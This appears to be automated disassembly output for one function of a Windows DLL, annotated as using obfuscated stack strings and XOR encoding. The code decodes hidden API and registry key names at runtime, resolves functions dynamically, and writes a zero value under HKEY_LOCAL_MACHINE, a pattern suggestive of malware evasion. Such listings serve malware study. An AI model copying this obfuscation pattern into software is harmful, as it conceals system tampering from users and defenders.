Function at 0x1800098c0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
push rbx
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0xd8
xor eax, eax
mov dword [rbp - 0x79], 0x484b7fd2
mov byte [rbp - 0x6d], al
xor r12d, r12d
mov dword [rbp - 0x75], 0x405d5d73
mov r15, rcx
mov dword [rbp - 0x71], 0x4e537e51
mov qword [rbp + 0x77], r12
mov rax, qword [rbp + 0x77]
nop
mov rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
add cl, 0x2d
xor cl, byte [rbp + rax - 0x78]
mov rax, qword [rbp + 0x77]
mov byte [rbp + rax - 0x78], cl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0xb
jb 0x180009900
mov byte [rbp - 0x6d], r12b
call fcn.180001690
mov rcx, qword gs:[0x58]
mov rdi, rax
mov edx, dword [0x18039b468]
mov eax, 4
mov rbx, qword [rcx + rdx*8]
add rbx, rax
mov ecx, dword [rbx]
cmp dword [0x18039d510], ecx
jle 0x18000998c
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18000998c
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov eax, dword [rbx]
cmp dword [0x1803a1558], eax
jle 0x1800099c5
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x1800099c5
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp - 0x78]
call qword [0x1803a1560]
mov r14, rax
test rax, rax
je 0x180009d65
xor eax, eax
mov dword [rbp - 0x6c], 0xf2f1c1f2
mov byte [rbp - 0x5e], al
mov dword [rbp - 0x68], 0xf7fde7d9
mov dword [rbp - 0x64], 0xd8e5fed1
mov word [rbp - 0x60], 0xdee6
mov qword [rbp + 0x77], r12
mov rax, qword [rbp + 0x77]
mov qword [rsp + 0xd0], rsi
nop word [rax + rax]
mov rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
sub cl, 0x6d
xor cl, byte [rbp + rax - 0x6b]
mov rax, qword [rbp + 0x77]
mov byte [rbp + rax - 0x6b], cl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0xd
jb 0x180009a20
mov byte [rbp - 0x5e], r12b
call fcn.180001690
mov ecx, dword [rbx]
mov rdi, rax
cmp dword [0x18039d510], ecx
jle 0x180009a91
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x180009a91
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1803a15b8], rcx
lea rcx, [0x18039d510]
call fcn.180360f2c
mov eax, dword [rbx]
cmp dword [0x1803a1558], eax
jle 0x180009aca
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x180009aca
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp - 0x6b]
call qword [0x1803a1560]
mov rsi, rax
test rax, rax
je 0x180009d5d
movdqa xmm0, xmmword [str.A_khCtfEuycr_a_]
movdqu xmmword [rbp - 0x5d], xmm0
mov qword [rbp + 0x77], r12
mov rcx, qword [rbp + 0x77]
mov rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
add cl, 0xd
xor cl, byte [rbp + rax - 0x5c]
mov rax, qword [rbp + 0x77]
mov byte [rbp + rax - 0x5c], cl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0xe
jb 0x180009b01
mov byte [rbp - 0x4e], r12b
call fcn.180001690
mov edx, dword [rbx]
mov rdi, rax
cmp dword [0x18039d510], edx
jle 0x180009b72
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x180009b72
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rdx
call fcn.180360f2c
mov eax, dword [rbx]
cmp dword [0x1803a1558], eax
jle 0x180009bab
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x180009bab
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp - 0x5c]
call qword [0x1803a1560]
mov rbx, rax
test rax, rax
je 0x180009d5d
movdqa xmm0, xmmword [0x18038fa50]
movdqa xmm1, xmmword [0x18038f940]
movdqu xmmword [rbp - 0x12], xmm0
mov dword [rbp + 0x6f], r12d
movdqa xmm0, xmmword [0x18038faa0]
movdqu xmmword [rbp + 0xe], xmm0
mov dword [rbp + 0x1e], 0x938e98a8
movdqu xmmword [rbp - 2], xmm1
mov word [rbp + 0x22], 0x8f
mov qword [rbp + 0x77], r12
mov rax, qword [rbp + 0x77]
nop dword [rax]
mov rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
sub cl, 0x37
xor cl, byte [rbp + rax - 0x11]
mov rax, qword [rbp + 0x77]
mov byte [rbp + rax - 0x11], cl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0x34
jb 0x180009c10
lea rax, [rbp + 0x7f]
mov byte [rbp + 0x23], r12b
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x11]
mov rcx, 0xffffffff80000002
call rsi
test eax, eax
jne 0x180009c8d
mov rcx, qword [rbp + 0x7f]
lea rax, [rbp + 0x6f]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r15
call rbx
mov rcx, qword [rbp + 0x7f]
call r14
movdqa xmm0, xmmword [0x18038f960]
xor eax, eax
movdqa xmm1, xmmword [0x18038f830]
movdqu xmmword [rbp - 0x4d], xmm0
mov byte [rbp - 0x13], al
movdqa xmm0, xmmword [0x18038f7b0]
movdqu xmmword [rbp - 0x2d], xmm0
mov dword [rbp - 0x1d], 0x677d7d78
movdqu xmmword [rbp - 0x3d], xmm1
mov dword [rbp - 0x19], 0x6c764649
mov word [rbp - 0x15], 0x6971
mov qword [rbp + 0x77], r12
mov rax, qword [rbp + 0x77]
nop word [rax + rax]
mov rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
sub cl, 0x1e
xor cl, byte [rbp + rax - 0x4c]
mov rax, qword [rbp + 0x77]
mov byte [rbp + rax - 0x4c], cl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0x39
jb 0x180009ce0
lea rax, [rbp + 0x7f]
mov byte [rbp - 0x13], r12b
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x4c]
mov rcx, 0xffffffff80000002
call rsi
test eax, eax
jne 0x180009d5d
mov rcx, qword [rbp + 0x7f]
lea rax, [rbp + 0x6f]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r15
call rbx
mov rcx, qword [rbp + 0x7f]
call r14
mov rsi, qword [rsp + 0xd0]
add rsp, 0xd8
pop r15
pop r14
pop r12
pop rdi
pop rbx
pop rbp
ret